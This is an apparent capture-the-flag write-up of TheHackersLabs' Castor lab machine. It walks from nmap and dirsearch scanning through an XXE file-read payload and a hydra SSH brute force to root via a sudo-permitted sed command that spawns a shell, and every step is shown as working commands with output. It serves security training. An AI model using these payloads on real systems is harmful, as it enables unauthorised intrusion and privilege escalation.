TheHackersLabs Castor Writeup
A detailed walkthrough of the Castor machine, covering every technical step from initial scan to root flag.
Reconnaissance — Port Scan
We begin the engagement by performing a SYN scan using nmap to discover open TCP ports across the entire range, identifying the initial attack surface.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(suraxddq㉿kali)-[~]
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.18
[sudo] password for suraxddq:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 09:21 CET
Initiating ARP Ping Scan at 09:21
Scanning 192.168.0.18 [1 port]
Completed ARP Ping Scan at 09:21, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 09:21
Scanning 192.168.0.18 [65535 ports]
Discovered open port 22/tcp on 192.168.0.18
Discovered open port 80/tcp on 192.168.0.18
Completed SYN Stealth Scan at 09:21, 0.53s elapsed (65535 total ports)
Nmap scan report for 192.168.0.18
Host is up, received arp-response (0.00036s latency).
Scanned at 2026-01-17 09:21:11 CET for 1s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:57:5E:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Reconnaissance — Service Versions & Scripts
Following the port discovery, we execute a targeted nmap scan against the open ports (22 and 80) to fingerprint the exact service versions and run default enumeration scripts. This is critical for identifying potential vulnerabilities linked to specific software releases.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(suraxddq㉿kali)-[~]
└─$ nmap -sCV 192.168.0.18 -p22,80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 09:22 CET
Nmap scan report for 192.168.0.18
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: CastorTech | Madera Sostenible
MAC Address: 08:00:27:57:5E:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
Web — Directory Enumeration
To map the web application’s structure, we utilize dirsearch for directory brute-forcing. This automated process tests a comprehensive wordlist against the Apache server to uncover hidden endpoints, administrative panels, or unlinked files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(suraxddq㉿kali)-[~]
└─$ dirsearch -u http://192.168.0.18
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API.
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/suraxddq/reports/http_192.168.0.18/_26-01-17_09-23-05.txt
Target: http://192.168.0.18/
[09:23:05] Starting:
[09:23:06] 403 - 277B - /.ht_wsr.txt
[09:23:06] 403 - 277B - /.htaccess.bak1
[09:23:06] 403 - 277B - /.htaccess.orig
[09:23:06] 403 - 277B - /.htaccess.sample
[09:23:06] 403 - 277B - /.htaccess.save
[09:23:06] 403 - 277B - /.htaccess_orig
[09:23:06] 403 - 277B - /.htaccess_extra
[09:23:06] 403 - 277B - /.htaccess_sc
[09:23:06] 403 - 277B - /.htaccessOLD2
[09:23:06] 403 - 277B - /.htaccessBAK
[09:23:06] 403 - 277B - /.htaccessOLD
[09:23:06] 403 - 277B - /.htm
[09:23:06] 403 - 277B - /.html
[09:23:06] 403 - 277B - /.httr-oauth
[09:23:06] 403 - 277B - /.htpasswd_test
[09:23:06] 403 - 277B - /.htpasswds
[09:23:06] 403 - 277B - /.php
[09:23:07] 301 - 309B - /js -> http://192.168.0.18/js/
[09:23:13] 403 - 277B - /cgi-bin/
[09:23:15] 301 - 310B - /css -> http://192.168.0.18/css/
[09:23:20] 200 - 450B - /js/
[09:23:27] 403 - 277B - /server-status
[09:23:27] 403 - 277B - /server-status/
[09:23:31] 200 - 16B - /upload.php
[09:23:31] 200 - 405B - /uploads/
[09:23:31] 301 - 314B - /uploads -> http://192.168.0.18/uploads/
Web — Application Discovery
We proceed to manually explore the web application to map its core functionality and behavior. During this inspection, we identify what appears to be a logging mechanism that processes user input, presenting a potential vector for injection attacks.
Exploitation — XXE Vulnerability
By analyzing the application’s request structure, we discover an XML External Entity (XXE) vulnerability. We exploit this flaw by crafting a malicious XML payload to perform local file inclusion, successfully extracting system files such as /proc/net/tcp to enumerate active network connections.
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///proc/net/tcp">
]>
<data>&file;</data>
Post-exploitation — Brute-forcing SSH
Leveraging the castorcin username discovered during the previous enumeration phase, we launch a targeted dictionary attack against the SSH service using hydra and a custom wordlist (first5k). The attack successfully identifies the valid credential pair, revealing the password as “chocolate”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(suraxddq㉿kali)-[~]
└─$ hydra -l castorcin -P ~/first5k ssh://192.168.0.18 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-17 09:34:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5000 login tries (l:1/p:5000), ~313 tries per task
[DATA] attacking ssh://192.168.0.18:22/
[22][ssh] host: 192.168.0.18 login: castorcin password: chocolate
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-17 09:34:21
Lateral Movement — Logging in via SSH
Equipped with the cracked credentials, we authenticate into the server via SSH (Secure Shell), successfully establishing our initial foothold on the machine as the castorcin user.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(suraxddq㉿kali)-[~]
└─$ ssh castorcin@192.168.0.18
castorcin@192.168.0.18's password:
Linux TheHackersLabs-Castor 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 14 23:52:56 2026 from 192.168.0.11
castorcin@TheHackersLabs-Castor:~$
Flags — User
Now operating within the castorcin user context, we navigate the filesystem to successfully read and capture the user flag.
1
2
castorcin@TheHackersLabs-Castor:~$ cat user.txt
THL{JDBNASJNA******}
Privilege Escalation — Checking Sudo Permissions
Our immediate goal shifts to privilege escalation. We execute sudo -l to enumerate the commands our current user can run with elevated privileges. We discover that castorcin is explicitly permitted to execute the /usr/bin/sed binary as root without requiring a password.
1
2
3
4
5
6
7
castorcin@TheHackersLabs-Castor:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-Castor: Nombre o servicio desconocido
Matching Defaults entries for castorcin on TheHackersLabs-Castor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User castorcin may run the following commands on TheHackersLabs-Castor:
(ALL : ALL) NOPASSWD: /usr/bin/sed
Flags — Root
We exploit this configuration by leveraging sed’s ability to execute arbitrary commands (e flag). By running /usr/bin/sed via sudo and instructing it to spawn /bin/sh, we successfully pivot into a root-level terminal session, allowing us to capture the final root flag.
1
2
3
4
5
6
7
castorcin@TheHackersLabs-Castor:~$ sudo /usr/bin/sed -n '1e exec /bin/sh 1>&0' /etc/hosts
sudo: unable to resolve host TheHackersLabs-Castor: Nombre o servicio desconocido
# id
uid=0(root) gid=0(root) grupos=0(root)
# bash
root@TheHackersLabs-Castor:/home/castorcin# cat /root/root.txt
THL{asdmaskd******}